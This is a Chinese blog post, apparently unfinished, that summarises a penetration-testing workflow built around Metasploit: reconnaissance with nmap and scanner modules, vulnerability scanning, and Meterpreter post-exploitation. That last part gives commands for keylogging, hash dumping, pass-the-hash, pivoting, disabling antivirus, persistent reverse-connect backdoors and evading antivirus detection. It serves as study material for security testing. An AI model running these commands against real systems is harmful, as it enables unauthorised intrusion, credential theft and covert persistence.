美文网首页渗透测试
怎么渗透测试一个网站?

怎么渗透测试一个网站?

作者: 正能量y先生 | 来源:发表于2019-04-28 11:23 被阅读190次

    0、导读

    本文参考《web攻防》和《metasploit渗透测试指南》更新中...

            渗透测试的过程并非简单运用一些扫描器和自动化工具,然后根据结果写一份安全报告。

            渗透测试完整的技术指南:

                        http://www.pentest-standard.org/index.php/Main_Page

            总体分为七个阶段,并在每个阶段中定义不同的扩展级别。

                    1)前期交互阶段:让客户了解渗透测试将涉及哪些目标。

                    2)情报收集阶段

                    3)威胁建模阶段

                    4)漏洞分析阶段

                    5)渗透攻击阶段

                    6)后渗透攻击阶段

                    7)报告阶段

    扫描器总结:OWASP Zed,IBM APPscanner,beStrom...

     一、情报收集

            网页中搜索信息、Google Hacking、为目标网络拓扑进行完整的扫描映射。在整个渗透测试过程中,你必须尽可能详细地对渗透测试工程的细节进行记录。

    1.1 被动信息收集 (网络边界、运维人员、操作系统、服务器软件的类型)

        使用被动和间接的信息收集技巧,可以在不接触到目标系统的情况下挖掘目标信息。

        ----whois、Netcraft(查找某个特定网站的服务器IP地址)、nslookup(邮件服务器的DNS记录等)、Google Hacking(site:test.net admin)

    1.2 主动信息收集(端口、服务、存活的主机、运行的服务)

        与系统直接的交互,进行更深入的了解。

        1.2.1 nmap (-iL iptest.txt > res.txt) ;导入metasploit数据库中,PostgreSQL:

                1)msf> db_connect postgres:toor@127.0.0.1/msf  

                2)nmap -Pn-sS -A -oX Subnet1.xml ip/ip_mask

                3)msf>db_import /home/output/Subnet1.xml

        1.2.2 TCP空闲扫描 (冒充网络上另一台主机的IP地址)scanner/ip/ipidseq auxiliary模块

                1)msf>use auxiliary/scanner/ip/ipidseq

                2)配置RHOSTS、THREADS参数

                3)msf auxiliary(ipidseq) > nmap -PN -sI ip ip(-sI 选定指定ip)

        1.2.3 在MSF终端中运行namp (推荐)

                1)msf> db_connect postgres:toor@127.0.0.1/msf  

                2)db_dump -sS -A ip

                3)msf> services -u (查看数据库中的扫描结果)

        1.2.4 跳板攻击+postscan(metaspliot内建扫描器)

                1) msf>search portscan 

                2)msf> use auxiliary/sacnner/postscan/syn

    1.3 针对性扫描

          1.3.1 服务器消息块协议扫描(445)

                   msf>use auxiliary/scanner/smb/smb_version 遍历一个网络并获得系统版本号

          1.3.2 搜索配置不当的Microsoft SQL Server(TCP 1433端口或UDP1434端口查询)

                    msf auxiliary(smb_version) > use auxiliary/scanner/mssql/mssqlping

           1.3.3 SSH服务器扫描(22)

                   不要以为你永远不会遇到一台没有安装补丁程序的老机器,这种幸运的是很有可能落到你头上。    

                    msf auxiliary > use auxiliary/scanner/ssh/ssh_version

        1.3.4 FTP扫描(21)

                    msf auxiliary > use auxiliary/scanner/ftp/ftp_version

                    msf auxiliary > use auxiliary/scanner/ftp/anonymous

        1.3.5 简单网管协议扫描(SNMP)

                    用来报告带宽利用率、冲突率以及其他信息。一些操作系统也包含(CPU利用率、空闲内存)利用matasploit框架的scanner/snmp/snmp_login模块,可以尝试对一个ip或一段ip使用字典来拆解SNMP团体字符串。

                    也可通过nmap自带的审计脚本对snmp安全审计

                    弱口令检测:nmap –sU –p161 –script=snmp-brute ip //查找snmp弱口令

    1.4 编写自己的扫描器

                    https://www.fujieace.com/metasploit/writing-scanner.html

                    编写一个快速定位目标系统上的每一个若口令或者未打补丁的服务。

                    >它提供对所有漏洞类和方法的访问

                    >为代理,SSL和报告提供支持

                    >内置线程和范围扫描

                    >易于编写和快速运行

                    metasploit框架软件的扫描器模块包含各种mixin(混入类)。用于TCP、SMB的渗透攻击mixin。面向对象编程的概念(Rudy)                

    二、漏洞扫描

            漏洞扫描器是一种能够自动在计算机、信息系统、网络以及应用软件中寻找和发现安全弱点的程序。他通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统的安全漏洞。

            Nexpose;将漏洞报告导入metasploit数据库;

            Nessus;将扫描结果导入到netasploit框架中;

                    1)msf > db_import /root/Downloads/Host_239_envfme.nessus

                    2)msf > hosts -c address,svcs,vulns

                    3)msf > vulns

            专用漏洞扫描器:(动静很大)

                    1)SMB登录扫描器(445)

                    2)扫描开放的VNC空口令(5900)

                    3)open_x11服务器(6000)等

            用扫描结果进行自动化攻击

    三、渗透攻击基础

                MSF终端(msfconsole)、MSF编码器(msfencode)、以及MSF攻击载荷生成器(msfpayload)。

                auxiliary(扫描、拒绝服务攻击工具、Fuzz测试器)

                use、search、show payload、set payload、show targets、info

                全端口攻击载荷:暴力破解开发端口

                资源文件:命令列表(autoexploit.rc)

    四、Meterpreter后渗透攻击    

                Meterpreter是Metasploit的一个扩展模块,对目标系统进行跟深入的渗透,包括反追踪、纯内纯工作模式、密码hash值获取、权限提升、跳板攻击等等。                           

               基本命令: 截屏  screenshot 、sysinfo

                获取键盘记录:进程迁移:ps、migrate 进程号。 

                meterpreter > run post/windows/capture/key_recorder                

            4.1 挖掘用户名和密码

                       1)提取密码hash值

                        meterpreter > priv

                        meterpreter > run post/windows/gather/hashdump

                       2)传递hash值

                        smb/psexecmo模块;设置好LHOST,LPORT、RHOST;将SMBPass变为获得的密码hash值

            4.2 权限提升 ????第8章

            4.3 令牌假冒 

                         ps;use incognito;list_token -u;???

            4.4 通过跳板攻击其他机器(Pivoting)

                        1)meterpreter > run getlocal_subnets 展示受控系统的子网

                        2)在MSF终端添加路由命令

                        3)scanner/postscan/tcp 对目标子网大范围的端口扫描

            4.5   Meterpreter脚本

                        迁移进程(migrate);关闭杀毒软件(killav);获取系统密码hash值(hashdump);查看目标流量(packetrecorder -i 生成.pcap文件);获得系统信息(Scraper);

                           控制持久化(persistence 例:meterpreter > run persistence -X -i 50 -p 443 -r ip)开机自启动-X,-i 50 50重连一次;             

           5、免杀技术

               大多数杀毒软件使用(signatures)来识别恶意代码。这些特征码装载在杀毒引擎中,用来对磁盘和进程进行扫描。并寻找匹配对象后,杀毒软件会有相应的处理流程:大多数会将感染病毒的二进制文件隔离,或者杀掉正在运行的进程。

            1)针对受到杀毒软件保护的目标创建一个独一无二的攻击载荷;

            2)攻击载荷运行在内存中,不将任何数据写入到硬盘上。

          5.1 MSF攻击载荷生成器msfvenom

            


    相关文章

      网友评论

        本文标题:怎么渗透测试一个网站?

        本文链接:https://www.haomeiwen.com/subject/ooaqnqtx.html